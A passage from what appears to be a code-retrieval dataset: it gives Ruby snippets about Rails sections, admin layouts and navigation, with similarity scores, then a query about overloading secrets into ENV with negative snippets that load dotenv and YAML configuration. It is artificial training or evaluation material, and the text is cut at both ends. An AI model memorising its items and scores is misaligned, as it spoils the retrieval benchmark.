root_path\n add_breadcrumb t(:'hyrax.dashboard.breadcrumbs.admin'), hyrax.dashboard_path\n add_breadcrumb t(:'hyrax.admin.sidebar.collections'), hyrax.my_collections_path if current_ability.admin?\n add_breadcrumb t(:'hyrax.admin.sidebar.collections'), hyrax.dashboard_collections_path unless current_ability.admin? \n collection_type_list_presenter\n managed_collections_count\n super\n end", "def index\n @sections = @page.sections.sorted\n end", "def index\n if current_user.has_role? :admin\n @sectionalizations = Sectionalization.all\n else\n @classroom = Classroom.find(session[:classroom_id])\n @sectionalizations = Sectionalization.where(classroom_id: @classroom.id)\n session[:sectionalization_id] = nil\n end\n end", "def section_list_for record\n tags_for_context_and_taggable(context: :sections, taggable: record)\n end", "def insert_general_sections(report)\n report.add_field(:client, 'mg')\n report.add_field(:project, 'pcv')\n report.add_field(:section, 'dev1')\n report.add_field(:name, person.name)\n report.add_field(:title_function, person.role)\n\n report.add_field(:header_info, \"#{person.name} - Version 1.0\")\n\n report.add_field(:date, Time.zone.today.strftime('%d.%m.%Y'))\n report.add_field(:version, '1.0')\n report.add_field(:comment, 'Aktuelle Ausgabe')\n end", "def sections(*args); end", "def kopal_layout_before_page_meta\n\n end", "def sections_for( page )\n titles_for( page ).zip( tables_for( page ) )\n end", "def create_sections\n @sections = if @options.configure_sections?\n parse_sections(@options[:configure_sections])\n elsif @options.add_sections?\n default_sections.concat parse_sections(@options[:add_sections])\n else\n default_sections\n end\n nil\n end", "def sections\n @sections ||= context\n .public_methods\n .grep(/\\A(?!wait_)\\w+_section$\\z/)\n .map { |el| Meta::Section.new(el.to_s.gsub('_section', ''), context) }\n end", "def section_contents\n used_sections = {}\n\n each_method do |method|\n next unless method.display?\n\n used_sections[method.section] = true\n end\n\n # order found sections\n sections = sort_sections.select do |section|\n used_sections[section]\n end\n\n # only the default section is used\n return [] if\n sections.length == 1 and not sections.first.title\n\n sections\n end", "def initialize_default_admin_tabs\n admin.initialize_nav\n end", "def kopal_layout_before_page_header\n\n end", "def all_sections\n [ header_section ] + sections\n end", "def show\n @main_page = \"Admin\"\n @page_title = \"Configuração\"\n end", "def index\n @page_sections = PageSection.all\n end", "def kopal_layout_after_page_sidebar\n\n end", "def kopal_layout_after_page_header\n\n end", "def admin_nav\n items = {'Home' => admin_root_path, \n 'Users' => admin_users_path,\n 'Submissions' => admin_submissions_path}\n output_nav(items)\n end", "def render_tabs\n render :partial => admin_layout? ? 'admin/shared/tabs' : 'shared/tabs'\n end", "def admin_layout\n self.class.layout \"admin\" if current_user && admin?(current_user)\n end", "def admin_layout \n @admin_layout\n end", "def section(name, *args, **options, &block)\n section_class.send(:section, name, *args, **options, &block)\n end", "def section_selector\n \"s_#{page_layout.id}_#{page_layout.section_id}\"\n end", "def index\n @institution_app_pages_sections = InstitutionAppPagesSection.all\n end", "def section; end", "def section\n @section.call\n end", "def activate\n Page.send :include, ExtraRadiantTags\n Admin::PagesController.send :include, InterfaceAdditions\n \n # admin.page.edit.add :form, \"/admin/page/hide_page\", :before => \"edit_extended_metadata\"\n # admin.tabs.remove \"Assets\"\n # admin.tabs.add \"Bilder\", \"/admin/assets\", :after => \"Snippets\", :visibility => [:all]\n # admin.tabs.remove \"Pages\"\n # admin.tabs.add \"Seiten\", \"/admin/pages\", :before => \"Snippets\", :visibility => [:all]\n end", "def activate\n tab 'Content' do\n add_item \"Gestion des Slides\", \"/admin/slides\", :after => \"Pages\"\n end\n Page.send :include, HomeSliderTags\n end", "def admin_layout\n render layout: 'admin_layout'\n end", "def render_admin_subnavigation(entries)\n render \"alchemy/admin/partials/sub_navigation_tab\", :entries => entries\n end", "def set_layout\n if current_paciente != nil\n \"pacientes_pages\"\n else\n \"nutriologo_pages\"\n end\n end", "def sections\n @blocks.inject([]) {|collector, block|\n collector << block if block.is_a?(Section)\n collector\n }\n end", "def set_sections\n @sections = Section.find_ordered_parents\n end", "def config_sections\n # init all sections\n base_locale\n internal_locale\n locales\n data_config\n @config_sections[:search] ||= search_config\n translation_config\n IGNORE_TYPES.each do |ignore_type|\n ignore_config ignore_type\n end\n @config_sections\n end", "def section_id\n 'generic'\n end", "def kopal_layout_after_page_meta\n\n end", "def home\n @sections = Section.visible.sorted\n end", "def index\n @about_us_sections = AboutUsSection.all\n end", "def sections?\n false\n end", "def index\n @sections = Section.all\n end", "def index\n @sections = Section.all\n end", "def index\n @sections = Section.all\n end", "def index\n @sections = Section.all\n end", "def index\n @sections = Section.all\n end", "def index\n @sections = Section.all\n end", "def index\n @sections = Section.all\n end", "def index\n @section_configurations = SectionConfiguration.all.sort\n end", "def content_api_has_root_sections(slugs_or_sections)\n content_api_has_root_tags(\"section\", slugs_or_sections)\n end", "def index\n @sections=Section.all\n end", "def index\n block_pagination\n respond_to do |format|\n format.html {\n @action_nav = CW::ActionNav::Controller::Base.new.section('Change') {|s|\n s.link 'add show episode ordering', { :action => 'new', :type => 'HomePageBlockShowDl' }, { :title => 'Add a Show DL Episode ordered block to the home page' }\n s.link 'add show filtered ordering', { :action => 'new', :type => 'HomePageBlockFiltered' }, { :title => 'Add a block filtered by show id and order to the home page' }\n }\n render :action => 'index'\n }\n end\n end", "def index\n @sections = Section.all.paginate(:page => params[:page], :per_page => 100)\n end", "def sections\n return @sections\n end", "def index\n @portfolio_sections = PortfolioSection.all\n @sub_categories = SubCategory.all\n respond_to do |format|\n format.html {render :layout => 'admin'}\n end\n end", "def activate\n Page.send :include, PageOptions::PageExtensions\n admin.page.index.add :top, \"caching_header\"\n admin.page.index.add :sitemap_head, 'caching_th', :before => 'status_column_header'\n admin.page.index.add :node, 'caching_td', :before => 'status_column'\n admin.page.edit.add :extended_metadata, 'caching_meta'\n end", "def show\n redirect_to sections_url unless @section.visible\n end", "def users_sections\n unless session[:mySections]\n session[:mySections] = []\n end\n session[:mySections]\n end", "def admin_main_navigation\n entries = \"\"\n alchemy_modules.each do |alchemy_module|\n entries << alchemy_main_navigation_entry(alchemy_module)\n end\n entries.html_safe\n end", "def paginated_section(*args, &block)\n pagination = will_paginate(*args).to_s\n content = pagination + capture(&block) + pagination\n concat content, block.binding\n end", "def override_section_options(section_options)\n # Note we can't use || as the values may be false\n @sectioncode = section_options[:code] if section_options.key?(:code)\n @sectiontype = section_options[:type] if section_options.key?(:type)\n @sectiondivider = section_options[:divider] if section_options.key?(:divider)\n @pagebreak = section_options[:page_break] if section_options.key?(:page_break)\n @displaytitle = section_options[:display_title] if section_options.key?(:display_title)\n end", "def section_properties; end", "def index\n @sections = case current_user.rc\n when 'EA'\n Section.includes(:profile).order('profiles.firstname').page(params[:page])\n when 'IA','EO'\n current_user.sections.includes(:profile).order('profiles.firstname').page(params[:page])\n when 'MOE'\n current_user.sections.includes(:profile).order('profiles.firstname').page(params[:page])\n when 'CR'\n current_user.sections.includes(:profile).order('profiles.firstname').page(params[:page])\n when 'ET'\n current_user.center.sections.includes(:profile).order('profiles.firstname').page(params[:page])\n end\n\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sections }\n end\n end", "def index \n add_breadcrumb \"Administrar\", :sections_path\n add_breadcrumb \"Recursos\", :resources_path \n end", "def initialize_views\n initialize_default_admin_tabs\n admin.load_default_regions\n end", "def full_title_admin(page_title = '')\r\n base_title = \"Modulect\"\r\n if page_title.empty?\r\n \"Admin | \" + base_title\r\n else\r\n page_title + \" - Admin | \" + base_title\r\n end\r\n end", "def kopal_layout_before_page_footer\n\n end", "def nav\n 'nav_admin'\n end", "def home #uses default admin layout\n end", "def index\n @post_sections = PostSection.all\n end", "def admin_display_fields\n super + [:template_name]\n end", "def show_collection_preface(collection)\n show_collection_section(collection, \"intro\") || show_collection_section(collection, \"faq\") || show_collection_section(collection, \"rules\")\n end", "def render_custom_navigation\n if lookup_context.template_exists?('admin/shared/_custom_navigation')\n render 'admin/shared/custom_navigation'\n end\n end", "def index\n @section_headings = SectionHeading.all\n end", "def partial_html_sections\n unless (@@partial_update_sections)\n @@partial_update_sections = config_resolve_sections.find_all do |section|\n section[:partial_html_api] != false\n end\n end\n @@partial_update_sections\n end", "def sections\n children.select { |child| child.is_a? DocumentSection }\n end", "def sections(*values)\n values.inject(self) { |res, val| res._sections(val) or fail ArgumentError, \"Unknown value for sections: #{val}\" }\n end", "def sections(*values)\n values.inject(self) { |res, val| res._sections(val) or fail ArgumentError, \"Unknown value for sections: #{val}\" }\n end", "def activate\n Page.send(:include, ArchiveChildrenTags)\n # tab 'Content' do\n # add_item \"Archive Children\", \"/admin/archive_children\", :after => \"Pages\"\n # end\n end", "def sections_url\n return @sections_url\n end", "def admin_subnavigation\n alchemy_module = module_definition_for(:controller => params[:controller], :action => 'index')\n unless alchemy_module.nil?\n entries = alchemy_module[\"navigation\"].stringify_keys['sub_navigation']\n render_admin_subnavigation(entries) unless entries.nil?\n else\n \"\"\n end\n end", "def sections\n temp_sections = []\n if @section_ids.count > 0\n @section_ids.each do |section_id|\n temp_sections.push @client.section(@org_id, section_id)\n end\n end\n return temp_sections\n end", "def start_section(level, title)\n end", "def section_groups\n return @section_groups\n end", "def section_created_hook(sender,new_section)\n unless root?\n parent.section_created_hook(sender, new_section)\n else\n new_section\n end\n end", "def sections\n @sections.values\n end" ]
[ "0.619118", "0.6131188", "0.6075806", "0.6075806", "0.60735637", "0.6057", "0.6036219", "0.5930749", "0.59189206", "0.5890286", "0.58095133", "0.5768211", "0.5735042", "0.56553924", "0.5652894", "0.56392163", "0.5577042", "0.55610216", "0.5558902", "0.55585676", "0.55521953", "0.55494654", "0.5542451", "0.5540123", "0.5532723", "0.55322564", "0.55302286", "0.5521076", "0.55099505", "0.5504974", "0.5487993", "0.5483591", "0.5480602", "0.54496425", "0.5446172", "0.54452616", "0.54380304", "0.54367155", "0.5426644", "0.54210997", "0.5414547", "0.54140806", "0.5391581", "0.5388113", "0.53815913", "0.53621846", "0.53571445", "0.534398", "0.53404546", "0.53327453", "0.5327853", "0.5306818", "0.53036577", "0.53030175", "0.5298557", "0.5291856", "0.52850515", "0.52850515", "0.52850515", "0.52850515", "0.52850515", "0.52850515", "0.52850515", "0.5267851", "0.52657056", "0.52571666", "0.52275264", "0.52272195", "0.5219243", "0.5202882", "0.5193069", "0.5191016", "0.51700854", "0.51597476", "0.51583576", "0.51579076", "0.51561594", "0.51542455", "0.515163", "0.5149729", "0.51427037", "0.51390886", "0.5137831", "0.5137724", "0.5129957", "0.51269436", "0.51167285", "0.51157933", "0.51118183", "0.51085263", "0.5107006", "0.510386", "0.510386", "0.5100298", "0.5098759", "0.50965166", "0.5093005", "0.50863624", "0.5084847", "0.508296", "0.50813293" ]
0.0
-1
same as `load`, but will override existing values in `ENV`
def overload(secret_id) ignoring_nonexistent_secret do env = Environment.new(secret_id) instrument('secrets.overload', env: env) { env.apply! } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def load\n Dotenv.load(\n root.join(\".env.local\"),\n root.join(\".env.#{Rails.env}\"),\n root.join(\".env\")\n )\n end", "def load_environment(*args)\n\t\t\tpath = environment_path(*args)\n\t\t\t\n\t\t\tif File.exist?(path)\n\t\t\t\t# Load the YAML environment file:\n\t\t\t\t@environment = YAML.load_file(path)\n\t\t\t\t\n\t\t\t\t# We update ENV but only when it's not already set to something:\n\t\t\t\tENV.update(@environment) do |name, old_value, new_value|\n\t\t\t\t\told_value || new_value\n\t\t\t\tend\n\t\t\tend\n\t\tend", "def load_env(environment=nil)\n environment ||= \"production\"\n load_dot_env \".env\" if environment == \"production\"\n load_dot_env \".env.#{environment}\"\nend", "def _load_env\n require 'yaml'\n r_var = _open_sefile('env3.yml') { |f| YAML.load(f) }\n @var.delete :file_open_raised\n r_var.each { |k,v| @var[k] = v } if r_var\nend", "def load_env!(options = {})\n source = load_yaml_file(\"env.yml\")\n source = source.fetch(options[:env_section] || env_section, {})\n \n source.each do |key, value|\n if !ENV.has_key?(key) || options[:overwrite] == true\n ENV[key.to_s.upcase] = value.to_s\n end\n end\n end", "def load_envvars\n Pkg::Params::ENV_VARS.each do |v|\n if var = ENV[v[:envvar].to_s]\n case v[:type]\n when :bool\n self.instance_variable_set(\"@#{v[:var]}\", Pkg::Util.boolean_value(var))\n when :array\n self.instance_variable_set(\"@#{v[:var]}\", string_to_array(var))\n else\n self.instance_variable_set(\"@#{v[:var]}\", var)\n end\n end\n end\n end", "def load_env(filename)\n Foreman::Env.new(filename).entries do |name, value|\n @env[name] = value\n end\n end", "def load(file_name, default_env = T.unsafe(nil)); end", "def load_var(env_name, default = nil, puts_depth = 1)\r\n var = ENV[env_name] || @yml_config[env_name.downcase] ||\r\n @yml_config[env_name.upcase] || default\r\n\r\n # Delete values as we read them so that we can ensure there were no\r\n # unknown values.\r\n @yml_config.delete(env_name.downcase)\r\n @yml_config.delete(env_name.upcase)\r\n\r\n # TODO: Log this!\r\n puts(\"#{env_name.upcase} = #{var.inspect}\", puts_depth)\r\n\r\n return var\r\n end", "def load_environment!(opts=nil)\n env_path = File.join(root_path, 'sc-config')\n env_path = File.join(root_path, 'sc-config.rb') if !File.exists?(env_path)\n \n @environment = {}\n if File.exists?(env_path)\n f = File.read(env_path)\n eval(f) # execute the config file as if it belongs.\n end\n\n # Override any all options with load_opts\n if build_numbers = @load_opts[:build_numbers]\n @load_opts.delete(:build_numbers)\n build_numbers.each do | bundle_name, build_number |\n env = @environment[bundle_name.to_sym] ||= {}\n env[:build_number] = build_number\n end\n end\n \n (@environment[:all] ||= {}).merge!(@load_opts)\n\n end", "def load_overrides\n if ENV['PARAMS_FILE'] && ENV['PARAMS_FILE'] != ''\n if File.readable?(ENV['PARAMS_FILE'])\n project_root = self.instance_variable_get(\"@project_root\")\n packaging_root = self.instance_variable_get(\"@packaging_root\")\n self.config_from_yaml(ENV['PARAMS_FILE'])\n self.instance_variable_set(\"@project_root\", project_root) if project_root\n self.instance_variable_set(\"@packaging_root\", packaging_root) if packaging_root\n else\n fail \"PARAMS_FILE was set, but not to the path to a readable file.\"\n end\n end\n end", "def with_env_vars(filename = nil, &_block)\n original_env_vars = ENV.to_hash\n Dotenv.load(filename) if filename\n yield\nensure\n ENV.replace(original_env_vars)\nend", "def load_from_env(env_name, name, hash, &block)\n if ENV[env_name].present?\n if block_given?\n hash[name] = yield(ENV[env_name])\n else\n hash[name] = ENV[env_name] \n end\n end\nend", "def load_env(fact = nil)\n # Load from the environment, if possible\n @environment_vars.each do |name, value|\n # Skip anything that doesn't match our regex.\n next unless name =~ /^facter_?(\\w+)$/i\n env_name = $1\n\n # If a fact name was specified, skip anything that doesn't\n # match it.\n next if fact and env_name != fact\n\n Facter.add($1) do\n has_weight 1_000_000\n setcode { value }\n end\n\n # Short-cut, if we are only looking for one value.\n break if fact\n end\n end", "def load!(path)\n return unless defined?(Dotenv::Parser)\n\n contents = ::File.open(path, 'rb:bom|utf-8', &:read)\n parsed = Dotenv::Parser.call(contents)\n\n parsed.each do |k, v|\n next if @env.key?(k)\n\n @env[k] = v\n end\n end", "def load_local_env\n load_env(KVMRC_LOCAL)\n end", "def load!(*filenames)\n with(*filenames) do |f|\n env = Environment.new(f, true)\n instrument(\"dotenv.load\", env: env) { env.apply }\n end\n end", "def load!(path)\n return unless defined?(Dotenv::Parser)\n\n contents = ::File.open(path, \"rb:bom|utf-8\", &:read)\n parsed = Dotenv::Parser.call(contents)\n\n parsed.each do |k, v|\n next if @env.has_key?(k)\n\n @env[k] = v\n end\n nil\n end", "def load_params(opts = {})\n Dotenv.load if opts[:config_use_dotenv]\n @params = @manifest.apply(ENV.to_h.symbolize_keys)\n end", "def load_integ_environment_vars\n env_file = File.join(__dir__, 'config/local_env_integ.yml')\n env_key_vals = YAML.load_file(env_file)\n %w[\n SqsQueueIntegTests_QueueUrl\n SqsQueueIntegTests_QueueRegion\n SqsQueueIntegTests_AccessId\n SqsQueueIntegTests_SecretKey\n ].each { |var| ENV[var] = env_key_vals.fetch(var) }\nend", "def initialize_from_env\n conf_prefix = self.env_variable_prefix.upcase\n\n ENV.keys.reject { |key|\n key !~ /^#{conf_prefix}/ # Ignore everything that doesn't match the prefix\n }.each { |key|\n variable = key[conf_prefix.size..-1].downcase\n\n self.store(variable, ENV[key])\n }\n\n after_initialize\n dump\n end", "def load_enviroment(file = nil)\n file ||= \".\"\n\n if File.directory?(file) && File.exists?(File.expand_path(\"#{file}/config/environment.rb\"))\n require 'rails'\n require File.expand_path(\"#{file}/config/environment.rb\")\n if defined?(::Rails) && ::Rails.respond_to?(:application)\n # Rails 3\n ::Rails.application.eager_load!\n elsif defined?(::Rails::Initializer)\n # Rails 2.3\n $rails_rake_task = false\n ::Rails::Initializer.run :load_application_classes\n end\n elsif File.file?(file)\n require File.expand_path(file)\n end\n end", "def load(environment = nil)\n if !ENV[@env_name].nil?\n @yaml = Zlib::Inflate.inflate(\n Base64.strict_decode64(ENV[@env_name])\n )\n else\n if environment\n env_specific_file_path = \"#{@dir}/#{environment}.yml\"\n if File.exist?(env_specific_file_path)\n file_path = env_specific_file_path\n end\n end\n file_path ||= \"#{@dir}/default.yml\"\n\n @yaml = open(file_path).read\n end\n\n self\n end", "def load(name, options = {})\n env_var = options.fetch(:env_var, name.to_s.upcase)\n type = options.fetch(:type, :string)\n required = options.fetch(:required, true)\n @registry[name] = case type\n when :string then load_string(env_var, required)\n when :int then load_int(env_var, required)\n when :bool then load_bool(env_var, required)\n else raise ArgumentError, \"Invalid type #{type}\"\n end\n end", "def load_enviroment\n file = ResqueMaster.config['environment'] || '.'\n\n if File.directory?(file) && File.exist?(File.expand_path(\"#{file}/config/environment.rb\"))\n require 'rails'\n require File.expand_path(\"#{file}/config/environment.rb\")\n\n if defined?(::Rails) && ::Rails.respond_to?(:application)\n # Rails 3\n ::Rails.application.eager_load!\n end\n elsif File.file?(file)\n require File.expand_path(file)\n end\n end", "def load_env_from_file(path)\n File.readlines(path).each do |line|\n values = line.split(\"=\")\n key = values[0]\n value = values[1, values.length - 1 ].map {|v| v.strip() }.join('=')\n ENV[key] = value\n end\n end", "def load_environment_file(name, fail_on_missing = false)\n unless File.exists?(name)\n abort(\"Unable to read environment: #{name}\") if fail_on_missing\n return nil\n end\n\n load_env = EC2Launcher::DSL::Environment.new\n load_env.load(File.read(name))\n load_env\n end", "def load_vars\n config = YAML.load_file(@config_file)\n @dev_port = config[\"development\"][\"port\"] ||= @default_dev_port\n @dev_pid = config[\"development\"][\"pid\"] ||= @default_dev_pid\n @dev_log = config[\"development\"][\"log\"] ||= @default_dev_log\n @prod_port = config[\"production\"][\"port\"] ||= @default_prod_port\n @prod_pid = config[\"production\"][\"pid\"] ||= @default_prod_pid\n @prod_log = config[\"production\"][\"log\"] ||= @default_prod_log\nend", "def load_variables\n options = ActiveSupport::HashWithIndifferentAccess.new(@options.dup)\n options[:blueprint] = @blueprint\n options[:stack] ||= @blueprint\n location = Lono::ConfigLocation.new(\"variables\", options, Lono.env)\n evaluate_variables_file(location.lookup_base) if location.lookup_base\n evaluate_variables_file(location.lookup) if location.lookup # config file\n end", "def load_environment!\n raise NotImplementedError\n end", "def loadToEnv(file)\n # https://stackoverflow.com/a/22049005\n # Find variables in the general form of \"export x=y\"\n env_vars = File.read(file).scan /^export\\s+(\\S+)=(\\S+)/\n # Parse each variable into the Ruby ENV key/value pair, removing outer quotes on the value if present.\n env_vars.each { |v| ENV[v.first] = v.last.gsub /\\A['\"]|[\"']\\Z/, '' }\nend", "def load_yaml(base=ENV['PWD'], env=\"active\")\n env = \"dev\" if env == \"active\" and not File.exist? \"#{base}/opt/active\"\n @data = ::YAML.load_file(\"#{base}/opt/#{env}/config.yaml\")\n end", "def load_remote_env\n load_env(KVMRC_REMOTE)\n end", "def load_environment(filename)\n config_file = Pathname.new(__FILE__).dirname.parent + filename\n config = YAML.load_file(config_file)\n puts \"Loaded environment file #{config_file}\"\n return config\nend", "def load_env(path)\n File.readlines(path).each do |l|\n next if l.empty? || l[0] == '#'\n\n m = l.match(/(export)?[[:blank:]]*([^=]+)=([^[[:blank:]]]+)$/)\n\n next unless m\n\n ENV[m[2]] = m[3].delete(\"\\n\") if m[2] && m[3]\n end\n rescue StandardError\n end", "def reload\n load 'config/environment.rb'\nend", "def reload\n load 'config/environment.rb'\nend", "def reload\n load 'config/environment.rb'\nend", "def reload\n load 'config/environment.rb'\nend", "def reload\n load 'config/environment.rb'\nend", "def reload\n load 'config/environment.rb'\nend", "def reload\n load 'config/environment.rb'\nend", "def reload\n load 'config/environment.rb'\nend", "def reload\n load 'config/environment.rb'\nend", "def reload\n load 'config/environment.rb'\nend", "def reload\n load 'config/environment.rb'\nend", "def reload\n load 'config/environment.rb'\nend", "def reload\n load 'config/environment.rb'\nend", "def load(environment=nil)\n load_from_file(file, environment)\n end", "def restore_env(env); end", "def load(name)\n Kernel.load name\nend", "def load(name)\n yml_file(\"#{name}/#{environment}\") ||\n yml_file_with_key(\"#{name}\", environment) ||\n yml_file(\"#{name}/default\") ||\n yml_file_with_key(\"#{name}\", 'default') ||\n raise(NotFound.new(name, environment))\n end", "def read_env(file = '.env')\n if !ENV['ENV']\n File.open(file, \"r\").each_line do |line|\n a = line.chomp(\"\\n\").split('=',2)\n a[1].gsub!(/^\"|\"$/, '') if ['\\'','\"'].include?(a[1][0])\n eval \"ENV['#{a[0]}']='#{a[1] || ''}'\"\n end\n end\n end", "def test_single_environment_set_env_no_name\n cfg = DBGeni::Config.new\n cfg.load(\"environment('foo') { } \\n\")\n cfg.set_env\n assert_equal('foo', cfg.current_environment)\n end", "def reload\n load 'config/environment.rb'\nend", "def load_environment(file)\n if File.directory?(file) && File.exists?(File.expand_path(\"#{file}/config/environment.rb\"))\n require \"rails\"\n require File.expand_path(\"#{file}/config/environment.rb\")\n if defined?(::Rails) && ::Rails.respond_to?(:application)\n # Rails 3\n ::Rails.application.eager_load!\n elsif defined?(::Rails::Initializer)\n # Rails 2.3\n $rails_rake_task = false\n ::Rails::Initializer.run :load_application_classes\n end\n elsif File.file?(file)\n require File.expand_path(file)\n end\n end", "def merge_env(env,use_db=false)\n if Merb.environment_info.nil?\n Merb.environment_info = {\n :real_env => Merb.environment,\n :merged_envs => [],\n :db_env => Merb.environment\n }\n end\n \n #Only load if it hasn't been loaded\n unless Merb.environment_info[:merged_envs].member? env\n Merb.environment_info[:merged_envs] << env\n \n env_file = Merb.dir_for(:config) / \"environments\" / (\"#{env}.rb\")\n if File.exists?(env_file)\n load(env_file)\n else\n Merb.logger.warn! \"Environment file does not exist! #{env_file}\"\n end\n end\n \n # Mark specific environment to load when ORM loads,\n # if multiple environments are loaded, the last one\n # with use_db as TRUE will be loaded\n if use_db\n Merb.environment_info[:db_env] = env\n end\n end", "def load!\n if !loaded?\n @loaded = true\n\n logger.info(\"environment\") { \"Loading configuration...\" }\n load_config!\n\n self\n end\n end", "def load_constants!(options = {})\n source = load_yaml_file(\"env.yml\")\n source = source.fetch(options[:env_section] || env_section, {})\n \n source.each do |key, value|\n constant_name = key.to_s.upcase.to_sym\n \n if !constants.include(constant_name) || options[:overwrite] == true\n constant_set constant_name, value.to_s\n end\n end\n end", "def load_default\n load DEFAULT\n end", "def load(options = {})\n @provider_dir = Path.provider\n\n # load base\n @base_services = load_all_json(Path.named_path([:service_config, '*'], Path.provider_base), Config::Tag)\n @base_tags = load_all_json(Path.named_path([:tag_config, '*'], Path.provider_base), Config::Tag)\n @base_common = load_json( Path.named_path(:common_config, Path.provider_base), Config::Object)\n @base_provider = load_json( Path.named_path(:provider_config, Path.provider_base), Config::Provider)\n\n # load provider\n @nodes = load_all_json(Path.named_path([:node_config, '*'], @provider_dir), Config::Node)\n @common = load_json( Path.named_path(:common_config, @provider_dir), Config::Object)\n @secrets = load_json( Path.named_path(:secrets_config, @provider_dir), Config::Secrets)\n @common.inherit_from! @base_common\n\n # For the default environment, load provider services, tags, and provider.json\n log 3, :loading, 'default environment...'\n env('default') do |e|\n e.services = load_all_json(Path.named_path([:service_config, '*'], @provider_dir), Config::Tag, :no_dots => true)\n e.tags = load_all_json(Path.named_path([:tag_config, '*'], @provider_dir), Config::Tag, :no_dots => true)\n e.provider = load_json( Path.named_path(:provider_config, @provider_dir), Config::Provider, :assert => true)\n e.services.inherit_from! @base_services\n e.tags.inherit_from! @base_tags\n e.provider.inherit_from! @base_provider\n validate_provider(e.provider)\n end\n\n # create a special '_all_' environment, used for tracking the union\n # of all the environments\n env('_all_') do |e|\n e.services = Config::ObjectList.new\n e.tags = Config::ObjectList.new\n e.provider = Config::Provider.new\n e.services.inherit_from! env('default').services\n e.tags.inherit_from! env('default').tags\n e.provider.inherit_from! env('default').provider\n end\n\n # For each defined environment, load provider services, tags, and provider.json.\n environment_names.each do |ename|\n next unless ename\n log 3, :loading, '%s environment...' % ename\n env(ename) do |e|\n e.services = load_all_json(Path.named_path([:service_env_config, '*', ename], @provider_dir), Config::Tag, :env => ename)\n e.tags = load_all_json(Path.named_path([:tag_env_config, '*', ename], @provider_dir), Config::Tag, :env => ename)\n e.provider = load_json( Path.named_path([:provider_env_config, ename], @provider_dir), Config::Provider, :env => ename)\n e.services.inherit_from! env('default').services\n e.tags.inherit_from! env('default').tags\n e.provider.inherit_from! env('default').provider\n validate_provider(e.provider)\n end\n end\n\n # apply inheritance\n @nodes.each do |name, node|\n Util::assert! name =~ /^[0-9a-z-]+$/, \"Illegal character(s) used in node name '#{name}'\"\n @nodes[name] = apply_inheritance(node)\n end\n\n # do some node-list post-processing\n cleanup_node_lists(options)\n\n # apply control files\n @nodes.each do |name, node|\n control_files(node).each do |file|\n begin\n node.eval_file file\n rescue ConfigError => exc\n if options[:continue_on_error]\n exc.log\n else\n raise exc\n end\n end\n end\n end\n end", "def load(config_file)\n @config = YAML.load_file(config_file)\n @config = config[::Rails.env] if defined? ::Rails\n check_config_and_export_to_env\n end", "def load(path, env)\n yaml_safe_load(File.open(path).read)[env].each do |section, settings|\n section = instance_variable_get(\"@#{section}\")\n next unless section\n settings.each do |setting, value|\n unless section == @index || section == @source\n value = interpolate_string(value, nil)\n end\n setter(section, setting, value)\n end\n end\n end", "def load\r\n return unless File.exist?(STORAGE)\r\n\r\n props = YAML.load(File.read(STORAGE))\r\n props.each{|k, v| instance_variable_set(\"@#{k}\", v) }\r\n end", "def load(rails_env)\n @settings = YAML.load(ERB.new(File.read(@config_filepath)).result)[rails_env].symbolize_keys\n end", "def from_env\r\n return if not @name\r\n @owner = true\r\n replace( ENV[@name] )\r\n end", "def load_defaults\n if ENV[\"INQ_USE_ENV\"] == \"true\"\n load_env\n else\n load_site_configs(HOME_CONFIG)\n end\n end", "def initialize\n # Load configuration file\n require 'yaml'\n @env = HashWithIndifferentAccess.new(YAML.load_file(File.join(File.dirname(__FILE__), '..', 'config', 'environments', \"#{ENV['RACK_ENV']}.yml\")))\n end", "def load\r\n\t\tload_file\r\n\t\tconfigure\r\n\tend", "def get_env_data(env)\n config_path = \"#{File.expand_path(\"../../\", __FILE__).gsub('features', '')}config/config.yml\"\n yml = YAML::load(File.read(config_path))\n yml[env.downcase]\nend", "def config_from_env\n CONFIGURABLE_WITH_ENV.each_with_object({}) do |option, env_vars|\n if value = option_from_env(option)\n env_vars[option] = value\n end\n end\n end", "def load!\n configs = {}\n @array.each_with_index do |obj, idx|\n next unless obj.start_with?('--' + @env_prefix)\n\n value = extract_value(obj, idx + 1)\n key = obj.split('=').first\n .sub(/^--#{@env_prefix}_?/, '')\n .downcase.split('__')\n recursive_set(configs, key, split_env_string(value))\n end\n configs\n end", "def loadall(env)\n self.class.loadall(@path, env)\n end", "def load_config_file_for_environment_key( file_name, options )\n load_config_file( options.merge(:env => true) )\n end", "def require_env(*args)\n args.each do |arg|\n env_var = \"#{arg}\".upcase\n if ENV[env_var]\n instance_variable_set(\"@#{env_var.downcase}\", ENV[env_var])\n else\n puts \"You need to provide the ENV variable '#{env_var}'\"\n exit 1\n end\n end\n end", "def load_env\n Inq::Text.puts \"Using configuration from environment variables.\"\n\n gh_token = ENV[\"INQ_GITHUB_TOKEN\"] || ENV[\"HOWIS_GITHUB_TOKEN\"]\n gh_username = ENV[\"INQ_GITHUB_USERNAME\"] || ENV[\"HOWIS_GITHUB_USERNAME\"]\n\n raise \"INQ_GITHUB_TOKEN environment variable is not set\" \\\n unless gh_token\n raise \"INQ_GITHUB_USERNAME environment variable is not set\" \\\n unless gh_username\n\n load({\n \"sources/github\" => {\n \"username\" => gh_username,\n \"token\" => gh_token,\n },\n })\n end", "def load_environment_file(f)\n do_or_die(File.exists?(f),\"Loading environments from #{f}\",\n \"Environment file #{f} does not exist\")\n supp_envs = YAML.load_file(f)\n supp_envs.each_with_object([]) do |(name,options),envs|\n\n # store the environment name inside its configuration hash\n options[:name] = name\n \n # translate alternative keywords for export filters\n %w(filter filters export-filters).each do |f|\n if options.include?(f) \n options[:export_filters] = options[f].split(/[ ,]/)\n options.delete(f) \n end \n end \n\n options = options.each_with_object({}){|(k,v),h| h[k.to_sym] = v} # symbolise keys\n\n # convert arrays into comma-delimited strings\n options = options.each_with_object({}) do |(k,v),h|\n h[k] = v.is_a?(Array) ? v.join(',') : v\n end\n\n # convert space-delimited into comma-delimited strings\n %i(destination with_tags without_tags).each do |f|\n options[f] = options[f].split(/[ ,]/).join(',') if options.include?(f)\n end\n\n envs << options # add hash to environments array\n end\n end", "def fetch_config\n Rails.logger.debug \"Loading #{@file}::#{@env}\" if Object.const_defined?('Rails') && Rails.logger.present?\n YAML::load_file(@file)[@env.to_s]\n end", "def load_env_variables(project)\r\n @project = project\r\n puts(\"project = #{project}\")\r\n\r\n if project.nil? then\r\n raise \"#{msg_prefix} > No project defined.\\n\"\\\r\n \"Call SET PROJECT=prj, replacing prj with your project.\"\r\n elsif !File.exist?(File.join(SAF::PROJECTS, project)) 